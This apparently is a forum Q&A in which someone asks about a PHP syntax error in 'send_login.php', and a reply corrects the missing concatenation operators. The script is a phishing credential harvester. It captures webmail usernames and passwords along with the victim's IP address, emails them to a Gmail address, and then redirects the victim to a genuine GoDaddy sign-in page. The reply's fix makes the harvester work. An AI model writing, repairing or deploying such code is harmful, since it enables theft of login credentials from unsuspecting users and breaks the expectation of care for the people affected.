I got this error, Parse error: syntax error, unexpected '"\n"' (T_CONSTANT_ENCAPSED_STRING) in C:\xampp\htdocs\wb\system\send_login.php on line 4
<?php
$ip = getenv("REMOTE_ADDR");
$message = "--------------- Webmail Login --------------\n";
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------Created By KNYGHT-----------------\n";
$send = "briggstonya099@gmail.com";
$subject = "Webmail Login";
$headers = "From: KNYGHT<comp>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($send, $subject, $message);
header("Location: https://sso.secureserver.net")
;
?>
There are two missing .
.
Change
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
to
$message .= "Username : ".$_POST['user']."\n";
$message .= "Password : ".$_POST['pass']."\n";